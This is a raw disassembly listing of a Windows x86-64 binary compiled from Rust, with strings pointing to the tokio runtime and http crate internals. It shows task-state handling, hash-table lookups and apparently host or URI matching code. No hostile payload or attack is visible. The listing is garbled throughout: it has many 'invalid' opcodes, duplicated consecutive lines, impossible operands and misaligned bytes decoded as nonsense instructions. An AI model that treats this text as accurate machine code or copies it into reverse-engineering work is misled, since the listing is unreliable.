lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea edx, [0x14014a7c0]
lea edx, [0x14014a7c0]
lea rcx, [rsp + 0x28]
call fcn.140104620
int3
mov rcx, rax
and rcx, 0xfffffffffffffff8
and ecx, 0xfffffff8
or rcx, 1
mov edx, eax
shr dl, 5
and dl, 1
loop 0x1400719e4
loop 0x1400719e4
lock cmpxchg qword [rsi], rcx
cmpxchg qword [rsi], rcx
je 0x140071a15
test al, 4
je 0x140071c51
test al, 3
je 0x1400719d0
invalid
fimul dword [rax - 0x7d]
clc
invalid
cmp rax, 0x3f
jbe 0x140071c69
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
xchg edx, eax
ret 0xca80
add dh, al
cmpxchg qword [rsi], rcx
mov cl, 0xe
xchg edx, eax
ret 0xca80
mov cl, 0xe
jne 0x1400719ea
movzx eax, dl
lea rcx, [0x14017472c]
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add rax, rcx
jmp rax
enter 0xffffffffffffe0ff, 0x48
lea eax, [0x14014ae78]
xchg r12, rax
invalid
invalid
lea rax, [0x14014ae78]
xchg r12, rax
or eax, 0x44894800
and al, 0x60
invalid
mov qword [rsp + 0x60], rax
invalid
mov qword [rsp + 0x68], rsi
mov dword [rsp + 0x68], esi
lea rax, [rsp + 0x60]
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x70], eax
mov dword [rsp + 0x70], eax
mov qword [rsp + 0x78], rax
mov eax, dword [rsi + 0x38]
cmp byte [rbx + 0x3dfee0], r8b
retf 0x3b9a
js 0x1400719d4
cmp byte [rbx + 0x3dfee0], r8b
retf 0x3b9a
je 0x140071c81
lea rcx, [rsi + 0x30]
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov edx, dword [0x58]
mov edx, dword [0x58]
mov rax, qword [rdx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x140071abe
xorps xmm6, xmm6
test eax, eax
jne 0x140071aea
push rdi
test byte [rbp - 0x749c8a40], 5
invalid
add byte [rax], al
mov r14, qword [rdx + rax*8]
ret 0x8d49
xchg al, dl
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x72c18
sbb byte [rdi + rax], ch
invalid
ret 0x8d49
sbb byte [rdi + rax], ch
add byte [rax - 0x77], cl
retf
mov rbx, rcx
mov ebx, ecx
mov rcx, rax
call fcn.1400d3ad0
invalid
invalid
invalid
mov rcx, rbx
mov byte [r14 + 0x120], 1
xchg byte [rax], ah
add dword [rax], eax
add byte [rcx], al
xchg byte [rax], ah
add dword [rax], eax
and byte [rcx], al
add byte [rax], al
add byte [rcx], al
invalid
invalid
invalid
mov bh, 0x10
add byte [rcx], al
mov eax, dword [0x14017d2b4]
add eax, 0x10b7f0
mov bh, 0x10
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
pop rax
add byte [rax], al
add byte [rax], al
mov rdx, qword gs:[0x58]
pop rax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc2
mov rax, qword [rdx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov dword [rax + 0xf0], 1
mov dword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
lea rdx, [rsp + 0x70]
add byte [rax - 0x73], cl
push rsp
and al, 0x70
call fcn.1400706c0
mov ecx, dword [0x14017d2b4]
mov bh, 0x10
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov bh, 0x10
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x120]
cmp ecx, 1
je 0x140071b48
mov dword [rax], esp
add dword [rax], eax
add byte [rbx + 0x357401f9], al
test ecx, ecx
jne 0x140071b62
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
add byte [rax], al
invalid
xchg edi, eax
mov bh, 0x10
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
mov edi, dword [rdx + rcx*8]
mov rdi, qword [rdx + rcx*8]
mov edi, dword [rdx + rcx*8]
retf 0x8d48
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e46c0]
adc eax, 0x72b88
invalid
adc eax, 0x72b88
mov byte [rbx], ch
invalid
mov ebx, eax
call fcn.1400d3ad0
mov eax, ebx
mov byte [rdi + 0x120], 1
add dword [rax], eax
add byte [rcx], al
ret
add dword [rax], eax
add byte [rcx], al
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf0], xmm6
lea rdi, [rsi + 0x20]
test al, al
je case.default.0x140071b87
invalid
mov eax, dword [rax]
add byte [rax], al
test byte [rbx + 0x48000000], cl
mov ecx, esi
add byte [rax], al
mov rcx, rsi
call fcn.1400e7430
movzx eax, al
mov dh, 0xc0
mov dh, 0xc0
lea rcx, [0x14017473c]
movsxd rax, dword [rcx + rax*4]
invalid
add rax, rcx
jmp rax
mov esp, 0x4800102b
invalid
or dword [rax + 1], 0x48e0ffc8
mov ecx, dword [rsi + 0x20]
invalid
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x77], cl
bnd call fcn.1400eb0b0
mov rdx, rsi
call fcn.1400eb0b0
mov rax, 0xffffffffffffffc0
invalid
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x140071cb9
invalid
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
and rax, 0xffffffffffffffc0
and eax, 0xffffffc0
cmp rax, 0x40
jne case.0x140071a26.2
add byte [rax], al
mov rcx, rsi
call fcn.140071ff0
jmp case.0x140071a26.2
lea rdi, [rsi + 0x20]
mov dword [rsp + 0x38], 0x3b9aca01
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.1400720b0
mov rax, qword [rsi + 0x28]
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x48], 0
and al, 0x48
add byte [rax], al
add byte [rax], al
and al, 0x48
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x58], rax
jmp 0x140071c1f
mov dword [rsp + 0x38], 0x3b9aca01
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.1400720b0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], 0
add byte [rax], al
invalid
cmp byte [rcx], al
retf 0x3b9a
add byte [rax], al
add bh, al
and al, 0x38
add dl, cl
invalid
mov dword [rsp + 0x38], 0x3b9aca00
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.1400720b0
mov rcx, rsi
call fcn.140072250
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x98
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_next.is_notified__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014ab00]
mov edx, 0x24
call fcn.1401046f0
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014ae60]
mov edx, 0x26
call fcn.1401046f0
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x30]
call fcn.140104620
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ad98]
mov edx, 0x27
call fcn.1401046f0
int3
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x68
add byte [rax], al
add byte [rax], al
movdqu xmm2, xmmword [rcx + r8]
movdqa xmm3, xmm2
pcmpeqb xmm3, xmm0
pmovmskb r9d, xmm3
test r9d, r9d
je 0x140072fd0
mov rax, qword [rsp + 0x28]
movzx r10d, byte [rax]
mov qword [rsp + 0x70], rdx
jmp 0x140072e7f
test bpl, bpl
je 0x14007313b
lea r9d, [r11 - 1]
and r9d, r11d
test r9w, r9w
mov rdx, qword [rsp + 0x70]
je 0x140072fd0
invalid
add byte [rbp - 0x77], al
retf
mov r11d, r9d
tzcnt ebx, r11d
add rbx, r8
and rbx, qword [rsp + 0x38]
mov r9, rbx
neg r9
lea r9, [r9 + r9*2]
shl r9, 4
lea r14, [rcx + r9]
add r9, rcx
add r9, 0xffffffffffffffd0
cmp r10d, 1
je 0x140072f30
invalid
add byte [rcx - 0x7d], al
cli
add cl, byte [rdi]
test dword [rdi + 2], edi
add byte [rax], al
cmp r10d, 2
jne 0x14007313b
movzx ebp, byte [r9]
cmp bpl, 2
jne 0x140072e60
mov rax, qword [rsp + 0x28]
mov r12, qword [rax + 8]
mov r15, qword [r12 + 0x10]
mov r13, qword [r14 - 0x28]
cmp r15, qword [r13 + 0x10]
jne 0x140072e69
mov r12, qword [r12 + 8]
mov r13, qword [r13 + 8]
xor ebp, ebp
nop dword [rax]
cmp r15, rbp
je 0x140072f61
movzx eax, byte [r12 + rbp]
movzx edi, byte [r13 + rbp]
inc rbp
lea esi, [rax - 0x41]
cmp sil, 0x1a
setb sil
shl sil, 5
lea edx, [rdi - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or sil, al
or dl, dil
cmp sil, dl
je 0x140072ef0
jmp 0x140072e69
movzx ebp, byte [r9]
cmp bpl, 1
jne 0x140072e60
mov rax, qword [rsp + 0x28]
cmp byte [rax + 1], 0
add byte [rcx + 0xf], al
mov dh, 0x6e
invalid
je 0x140072f58
test bpl, bpl
jne 0x140072f61
jmp 0x140072e69
test bpl, bpl
jne 0x140072e69
mov rax, qword [rsp + 0x28]
mov r15, qword [rax + 0x20]
cmp r15, qword [r14 - 0x10]
jne 0x140072e69
mov rax, qword [rsp + 0x28]
mov r12, qword [rax + 0x18]
mov r14, qword [r14 - 0x18]
xor r13d, r13d
nop word cs:[rax + rax]
cmp r15, r13
je 0x140072ff7
movzx eax, byte [r12 + r13]
movzx edx, byte [r14 + r13]
inc r13
lea esi, [rax - 0x41]
cmp sil, 0x1a
setb sil
shl sil, 5
lea edi, [rdx - 0x41]
cmp dil, 0x1a
setb dil
shl dil, 5
or sil, al
or dil, dl
cmp sil, dil
je 0x140072f90
jmp 0x140072e69
pcmpeqb xmm2, xmm1
pmovmskb r9d, xmm2
test r9d, r9d
jne 0x1400730f6
add r8, rdx
add r8, 0x10
add rdx, 0x10
and r8, qword [rsp + 0x38]
jmp 0x140072e29
shl rbx, 4
lea rdx, [rbx + rbx*2]
sar rdx, 4
movabs rax, 0xaaaaaaaaaaaaaaab
imul rax, rdx
lea r8, [rax - 0x10]
and r8, qword [rsp + 0x38]
movdqu xmm0, xmmword [rcx + r8]
pcmpeqd xmm1, xmm1
pcmpeqb xmm0, xmm1
psllw xmm0, 7
pmovmskb r10d, xmm0
movdqu xmm0, xmmword [rcx + rax]
pcmpeqb xmm0, xmm1
pmovmskb edx, xmm0
test r10d, r10d
je 0x14007304f
bsr r10w, r10w
xor r10d, 0xf
jmp 0x140073054
mov r10w, 0x10
or edx, 0x10000
tzcnt edx, edx
add r10d, edx
mov dl, 0x80
cmp r10w, 0xf
ja 0x140073075
mov rdx, qword [rsp + 0x30]
inc qword [rdx + 0x20]
mov dl, 0xff
mov byte [rcx + rax], dl
mov byte [rcx + r8 + 0x10], dl
mov rax, qword [rsp + 0x30]
dec qword [rax + 0x28]
movdqu xmm0, xmmword [r9]
movdqu xmm1, xmmword [r9 + 0x10]
movdqu xmm2, xmmword [r9 + 0x20]
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x60], xmm2
movdqa xmmword [rsp + 0x50], xmm1
movzx eax, byte [rsp + 0x40]
cmp al, 3
je 0x1400730f6
cmp al, 2
jb 0x1400730df
mov rbx, qword [rsp + 0x48]
lea rcx, [rbx + 0x18]
mov rax, qword [rbx]
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x68]
mov rax, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x60]
call qword [rax + 0x10]
mov rdx, qword [rsp + 0x30]
add rdx, 0x70
lea rcx, [rsp + 0x40]
mov r8, qword [rsp + 0x28]
call fcn.14006ea00
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x40], rax
je 0x140073129
lea rcx, [rsp + 0x40]
call fcn.1400670f0
nop
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str.internal_error:_entered_unreachable_code_rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrary_std_src_threadmod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcuri_scheme.rs_f
mov edx, 0x28
call fcn.1401046f0
int3
call fcn.1400651b0
mov rdx, qword [rsp + 0x38]
mov qword [rdx], 3
mov qword [rdx + 8], r13
mov byte [rdx + 0x78], bl
mov eax, 3
lea rbx, [rsp + 0x1c70]
lea r8, [rax - 3]
lea rcx, [rax - 2]
cmp r8, 2
mov r8d, 0
cmovae rcx, r8
test rcx, rcx
jne case.0x14009e6a0.109
cmp rax, 2
je 0x140078f8f
mov rax, qword [rsp + 0x48]
mov rdi, qword [rax]
cmp rdi, 4
jne 0x140073468
jmp 0x140078f8f
lea rcx, [rdi - 1]
cmp rdi, 2
mov eax, 0
cmovae rax, rcx
test rax, rax
jne 0x140074b90
mov rcx, qword [rsp + 0x90]
mov rax, qword [rcx + 0x70]
mov qword [rsp + 0xd40], rax
movups xmm0, xmmword [rcx + 0x60]
movaps xmmword [rsp + 0xd30], xmm0
movups xmm0, xmmword [rcx + 0x50]
movaps xmmword [rsp + 0xd20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movaps xmmword [rsp + 0xd10], xmm0
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmm2, xmmword [rcx + 0x20]
adc byte [rcx + 0x20], dl
adc byte [rcx + 0x20], dl
movups xmm3, xmmword [rcx + 0x30]
movaps xmmword [rsp + 0xd00], xmm3
movaps xmmword [rsp + 0xcf0], xmm2
xchg esp, eax
and al, 0xf0
or al, 0
add byte [rdi], cl
sub dword [rsp + 0xce0], ecx
movaps xmmword [rsp + 0xcd0], xmm0
mov rcx, qword [rsp + 0x98]
mov rax, qword [rcx + 0x50]
lea rsi, [rsp + 0xd48]
mov qword [rsi + 0x50], rax
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rsi + 0x40], xmm0
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
adc byte [rdi], cl
adc byte [rcx + 0x20], dl
movups xmm3, xmmword [rcx + 0x30]
movups xmmword [rsi + 0x30], xmm3
movups xmmword [rsi + 0x20], xmm2
movups xmmword [rsi + 0x10], xmm1
adc byte [rdi], r9b
adc dword [rsi], eax
adc byte [rdi], r9b
adc dword [rsi], eax
mov r8d, 0xd0
lea rcx, [rsp + 0x3420]
lea rdx, [rsp + 0xcd0]
or al, 0
add al, ch
mov bl, 0xfa
or byte [rax], al
or al, 0
add al, ch
mov bl, 0xfa
or byte [rax], al
mov rax, qword [rsp + 0x48]
mov qword [rax], 3
cmp rdi, 1
ja 0x140078e77
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0xcd0], rdi
mov rax, qword [rsp + 0x3490]
mov qword [rsi], rax
movups xmm0, xmmword [rsp + 0x3480]
test byte [rax + rax*4], ah
xor al, 0
add byte [rdi], cl
adc dword [rsi - 0x10], eax
test byte [rax + rax*4], ah
xor al, 0
add byte [rdi], cl
adc dword [rsi - 0x10], eax
movups xmm0, xmmword [rsp + 0x3470]
add byte [rax], al
movups xmmword [rsi - 0x20], xmm0
movups xmm0, xmmword [rsp + 0x3460]
movups xmmword [rsi - 0x30], xmm0
ror byte [rdi], 1
adc byte [rsp + 0x3420], al
ror byte [rdi], 1
adc byte [rsp + 0x3420], al
and byte [rax + rax], dh
add byte [rdi], cl
adc byte [rsp + 0x3430], cl
add byte [rax], al
movups xmm1, xmmword [rsp + 0x3430]
add byte [rax], al
movups xmm2, xmmword [rsp + 0x3440]
movups xmm3, xmmword [rsp + 0x3450]
movups xmmword [rsi - 0x40], xmm3
movups xmmword [rsi - 0x50], xmm2
movups xmmword [rsi - 0x60], xmm1
movups xmmword [rsi - 0x70], xmm0
lea rax, [rsp + 0x3498]
movups xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movdqu xmm2, xmmword [rax + 0x20]
movdqu xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x220], xmm0
movdqa xmmword [rsp + 0x230], xmm1
movdqa xmmword [rsp + 0x240], xmm2
xchg esp, eax
and al, 0x40
add al, byte [rax]
add byte [rsi + 0xf], ah
jg 0x140073598
and al, 0x50
add al, byte [rax]
add bl, dh
movq mm0, qword [rax + 0x40]
xchg esp, eax
and al, 0x40
add al, byte [rax]
add byte [rsi + 0xf], ah
jg 0x140073598
and al, 0x50
add al, byte [rax]
add bl, dh
movq mm0, qword [rax + 0x40]
movdqa xmmword [rsp + 0x260], xmm0
mov rax, qword [rax + 0x50]
mov qword [rsp + 0x270], rax
mov rax, qword [rsp + 0xd08]
add byte [rax - 0x77], cl
and al, 0x68
add byte [rax - 0x77], cl
and al, 0x68
mov eax, dword [rsp + 0xd10]
mov dword [rsp + 0x70], eax
jo 0x14007367c
mov ecx, dword [rsp + 0xd40]
jo 0x14007367c
mov ecx, dword [rsp + 0xd40]
mov rax, qword [rcx + 0x20]
test rax, rax
je 0x140074200
mov qword [rsp + 0x60], rcx
mov r14, qword [rcx + 0x18]
mov rcx, rax
shl rcx, 7
lea rax, [rcx + rax*8]
add rax, r14
mov qword [rsp + 0x58], rax
jmp 0x14007368c
test al, al
je 0x140074473
mov qword [rsp + 0x1c70], 2
add r14, 0x88
cmp r14, qword [rsp + 0x58]
je 0x140074200
invalid
lea rcx, [r14 + 0x58]
xor eax, eax
mov ebp, 0
cmp qword [r14 + 0x58], r12
cmovne rbp, rcx
je 0x140073b71
movzx eax, word [rsp + 0x2130]
movzx ecx, word [rsp + 0x2132]
movzx edx, word [rsp + 0x2134]
movzx r8d, word [rsp + 0x2136]
movzx r9d, word [rsp + 0x2138]
movzx r10d, word [rsp + 0x213a]
movzx r11d, word [rsp + 0x213c]
movzx edi, word [rsp + 0x213e]
rol ax, 8
rol cx, 8
rol dx, 8
rol r8w, 8
rol r9w, 8
rol r10w, 8
rol r11w, 8
rol di, 8
movd xmm0, edi
movd xmm1, r11d
punpcklwd xmm1, xmm0
movd xmm0, r10d
movd xmm2, r9d
punpcklwd xmm2, xmm0
punpckldq xmm2, xmm1
movd xmm0, r8d
movd xmm1, edx
punpcklwd xmm1, xmm0
movd xmm3, ecx
movd xmm0, eax
punpcklwd xmm0, xmm3
punpckldq xmm0, xmm1
punpcklqdq xmm0, xmm2
cmp qword [rsp + 0x158], 0
jne case.0x1400692a6.62
pshufd xmm8, xmm0, 0xf9
movd eax, xmm0
mov r15b, 1
jmp 0x140073909
mov byte [rsp + 0x2130], r15b
mov dword [rsp + 0x2131], eax
movq qword [rsp + 0x2135], xmm8
pshufd xmm0, xmm8, 0xee
movd dword [rsp + 0x213d], xmm0
mov rax, qword [rbp + 0x10]
test rax, rax
je 0x140073c78
mov rsi, qword [rbp + 8]
mov rdi, qword [rsp + 0x2131]
test r14b, 1
jne 0x140073e97
mov r14, qword [rsp + 0x2139]
add rax, rax
lea rbx, [rax + rax*8]
jmp 0x140073992
mov rcx, rsi
lea rdx, [rsp + 0x2130]
call fcn.140044f40
test al, al
jne 0x1400739b0
add rsi, 0x12
add rbx, 0xffffffffffffffee
je 0x140073f9d
cmp byte [rsi], 2
jne 0x140073970
cmp r15b, byte [rsi + 1]
jne 0x140073984
mov rax, qword [rsi + 2]
xor rax, rdi
mov rcx, qword [rsi + 0xa]
xor rcx, r14
or rcx, rax
jne 0x140073984
mov al, 1
lea rbx, [rsp + 0x1c70]
add byte [rax], al
add byte [rax], al
jmp 0x140073b64
pop rax
add dword [rax], eax
add byte [rax - 0x7b], cl
leave
je case.0x1400692a6.62
mov rdx, qword [rsp + 0x150]
cmp byte [rdx], 0x3a
jne case.0x1400692a6.62
add byte [rax - 0x7af0c5c6], al
cmpsb byte [rsi], byte [rdi]
add byte [rax], al
add byte [rax - 0x7d], cl
stc
add dword [rdi], ecx
test byte [rax + rax - 0x7cb80000], bl
add rcx, 0xfffffffffffffffe
movzx r8d, byte [rdx + 1]
cmp rcx, 1
je case.0x1400692a6.62
add rcx, 0xfffffffffffffffe
movzx r8d, byte [rdx + 1]
add rdx, 2
mov qword [rsp + 0x150], rdx
add byte [rax - 0x77], cl
mov word [rax + rbx*2], fs
add dword [rax], eax
add byte [rcx - 0x80], al
clc
cmp dh, byte [rbp + 0x79]
add byte [rax - 0x77], cl
mov word [rax + rbx*2], fs
add dword [rax], eax
add byte [rcx - 0x80], al
clc
cmp dh, byte [rbp + 0x79]
mov qword [rsp + 0x326], 0
mov qword [rsp + 0x320], 0
and byte [rbx], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + riz], ah
and byte [rbx], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
invalid
invalid
and byte [rbx], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov r8d, 7
sub r8, rax
jb 0x140078f51
push rbp
add byte [rax], al
push rbp
add byte [rax], al
mov rcx, r15
stc
lea rdx, [rsp + 0x320]
call fcn.140015d30
mov ecx, 8
or byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
sub rcx, rax
jb 0x140078f68
or al, 0x55
add byte [rax], al
or al, 0x55
add byte [rax], al
cmp rax, 8
je 0x140078f79
push rbp
add byte [rax], al
push rbp
add byte [rax], al
lea rcx, [rsp + rcx*2]
add rcx, 0x2130
add rax, rax
lea rdx, [rsp + 0x320]
and al, 0x20
add eax, dword [rax]
invalid
and al, 0x20
add eax, dword [rax]
add byte [rcx - 0x77], cl
mov r8, rax
call sub.VCRUNTIME140.dll_memcpy
mov r8, rax
call sub.VCRUNTIME140.dll_memcpy
jmp 0x140073828
add byte [rax], 0
add byte [rax], al
mov rax, qword [rbp + 0x28]
test rax, rax
je 0x140073b54
mov r15, qword [rbp + 0x20]
shl rax, 3
and byte [rax - 0x3f], cl
loopne 0x140073aa8
lea r12, [rax + rax*2]
xor edi, edi
xor edi, edi
jmp case.default.0x140073b82
add byte [rax - 0x7d], cl
invalid
add rdi, 0x18
cmp r12, rdi
je 0x140073b58
mov rbp, qword [r15 + rdi + 8]
mov r14, qword [r15 + rdi + 0x10]
invalid
cmp rsi, r14
jne 0x140073ade
mov rcx, rbp
mov rdx, r13
mov r8, rsi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je case.0x140071a26.14
test r14, r14
je 0x140073b05
lea rax, [r14 - 1]
cmp rax, rsi
jne 0x140073b05
invalid
sbb dword [rax + 0x752e007d], eax
adc ecx, dword [rax - 0x73]
add qword [r9 + rcx*4 - 0x16], r9
cmp byte [rbp], 0x2e
jne 0x140073b05
lea rcx, [rbp + 1]
mov rdx, r13
mov r8, rsi
call sub.VCRUNTIME140.dll_memcmp
or byte [rax], al
test eax, eax
je case.0x140071a26.14
mov rdx, rsi
sub rdx, r14
jb case.0x140069ec6.55
invalid
mov rcx, rbp
mov r8, r14
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140073b2d
cmp r14, 1
jne case.0x140069ec6.54
cmp byte [rbp], 0x2a
jne case.0x140069ec6.54
jmp case.0x140071a26.14
test r14, r14
je 0x140073b38
div byte [rsi + rax - 0x80]
jge 0x140073b35
cmp byte [rbp], 0x2e
je case.0x140071a26.14
je case.0x140071a26.14
not r14
add r14, rsi
jae case.0x140069ec6.54
insb byte [rdi], dx
invalid
invalid
invalid
insb byte [rdi], dx
invalid
cmp byte [r13 + r14], 0x2e
jne case.0x140069ec6.54
test dword [rax - 1], esp
invalid
invalid
test dword [rax - 1], esp
invalid
invalid
mov al, 1
jmp 0x140073b5a
xor eax, eax
jmp 0x140073b6c
xor eax, eax
movabs r12, 0x8000000000000000
mov esp, 0
add byte [rax], al
add byte [rax + 0x24bc8d4c], al
push rax
add dword [rax], eax
lea r15, [rsp + 0x150]
add byte [rbx + rcx*4 + 0x74], cl
and al, 0x30
mov r14, qword [rsp + 0x30]
mov rcx, qword [r14]
lea rdx, [0x140174760]
movsxd rcx, dword [rdx + rcx*4]
invalid
or al, 0x8a
invalid
add rcx, rdx
jmp rcx
test al, al
jne 0x14007366e
movzx eax, byte [rsp + 0x220]
test al, al
je 0x140078ae1
cmp al, 2
jne 0x140073e71
mov rax, qword [rsp + 0x228]
cmp qword [rax + 0x10], 4
adc byte [rdi + rcx], al
invalid
mov bh, 0xfa
invalid
invalid
adc byte [rdi + rcx], al
test dword [rdi + 0x48fffffa], esi
mov eax, dword [rax + 8]
jmp 0x140073e86
add byte [rax + rax*8 - 0x5597af1], al
invalid
lea r8, [rsp + 0x220]
call fcn.14005b4a0
mov rsi, qword [rsp + 0x1c70]
cmp rsi, 2
je 0x14007367a
cli
invalid
invalid
cli
invalid
jmp 0x1400745a3
test al, al
jne 0x14007366e
movzx eax, byte [rsp + 0x220]
test al, al
je 0x140078ae1
cmp al, 2
jne 0x140073d3d
mov rax, qword [rsp + 0x228]
cmp qword [rax + 0x10], 5
jne 0x14007366e
test al, al
jne 0x14007366e
xor eax, eax
jmp 0x140073b64
cmp byte [rsp + 0x221], 0
lea rax, [0x14016efaf]
je 0x14007366e
cmp byte [rsp + 0x221], 0
lea rax, [0x14016efab]
jne 0x14007366e
cmp dword [rax], 0x70747468
jne 0x14007366e
jmp 0x14007452e
add rax, rax
lea rbx, [rax + rax*8]
lea r15, [rsp + 0x150]
mov r14, qword [rsp + 0x30]
jmp 0x140073ed2
mov rcx, rsi
lea rdx, [rsp + 0x2130]
call fcn.140044f40
test al, al
jne 0x140073ee2
add rsi, 0x12
add rbx, 0xffffffffffffffee
je 0x140073f8e
cmp byte [rsi], 2
jne 0x140073eb0
cmp byte [rsi + 1], 0
jne 0x140073ec4
cmp dword [rsi + 2], edi
jne 0x140073ec4
mov al, 1
lea rbx, [rsp + 0x1c70]
jmp 0x140073b71
xor eax, eax
lea rbx, [rsp + 0x1c70]
jmp 0x140073b71
xor eax, eax
lea rbx, [rsp + 0x1c70]
jmp 0x140073b64
mov rdi, qword [rsp + 0xcf0]
lock inc qword [rdi]
jle case.0x1400750fc.2
mov rbx, qword [rsp + 0xcf8]
mov rsi, qword [rsp + 0xd00]
lock inc qword [rbx]
jle case.0x1400750fc.2
mov rdi, qword [rsp + 0xcf0]
lock inc qword [rdi]
jle case.0x1400750fc.2
mov rbx, qword [rsp + 0xcf8]
mov r15, qword [rsp + 0xd00]
lock inc qword [rbx]
mov rax, qword [rsp + 0x50]
jle case.0x1400750fc.2
cmp rax, 1
jne 0x140078e8f
mov rax, qword [rsp + 0x38]
mov rdx, qword [rax + 0xe8]
mov rax, qword [rax + 0xf0]
lea rcx, [rsp + 0x660]
mov r8, qword [rsp + 0x200]
call qword [rax + 0x18]
movzx ebx, byte [rsp + 0x671]
cmp bl, 3
je 0x1400784fa
mov r13, qword [rsp + 0x660]
mov rdi, qword [rsp + 0x668]
movzx ebp, byte [rsp + 0x670]
lea rcx, [rsp + 0x672]
mov eax, dword [rcx]
mov dword [rsp + 0x300], eax
movzx eax, word [rcx + 4]
mov word [rsp + 0x304], ax
mov rsi, qword [rsp + 0x48]
cmp dword [rsi], 4
je 0x140078fe3
mov rcx, rsi
call fcn.140072440
mov qword [rsi], 4
cmp bl, 2
lea r14, [rsp + 0x2480]
jne 0x140074c60
movzx eax, byte [0x14017d2b0]
mov edx, 0x38
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x140079002
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 7
mov qword [rax], r13
mov qword [rax + 8], rdi
mov r13, rax
jmp 0x140074c7e
movzx eax, word [rsp + 0x304]
mov word [rsp + 0xcd4], ax
mov eax, dword [rsp + 0x300]
mov dword [rsp + 0xcd0], eax
mov rcx, qword [rsp + 0x38]
movzx eax, word [rsp + 0xcd4]
mov word [rsp + 0x180], ax
mov eax, dword [rsp + 0xcd0]
mov dword [rsp + 0x17c], eax
mov rsi, qword [rcx]
cmp rsi, 2
je 0x140078fbf
mov r8d, 0xd8
lea rcx, [rsp + 0xcd0]
mov rdx, qword [rsp + 0xa8]
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsp + 0x48]
cmp dword [rax], 4
je 0x140074cdd
mov rcx, qword [rsp + 0x48]
call fcn.140072440
mov r8d, 0xd8
mov rcx, r14
lea rdx, [rsp + 0xcd0]
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsp + 0x38]
mov qword [rax], 2
mov qword [rsp + 0x3420], rsi
mov r8d, 0xd8
lea rcx, [rsp + 0x3428]
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
cmp bl, 2
je 0x14007513d
mov qword [rsp + 0xcd0], rsi
mov r8d, 0xd8
lea rcx, [rsp + 0xcd8]
mov rdx, r14
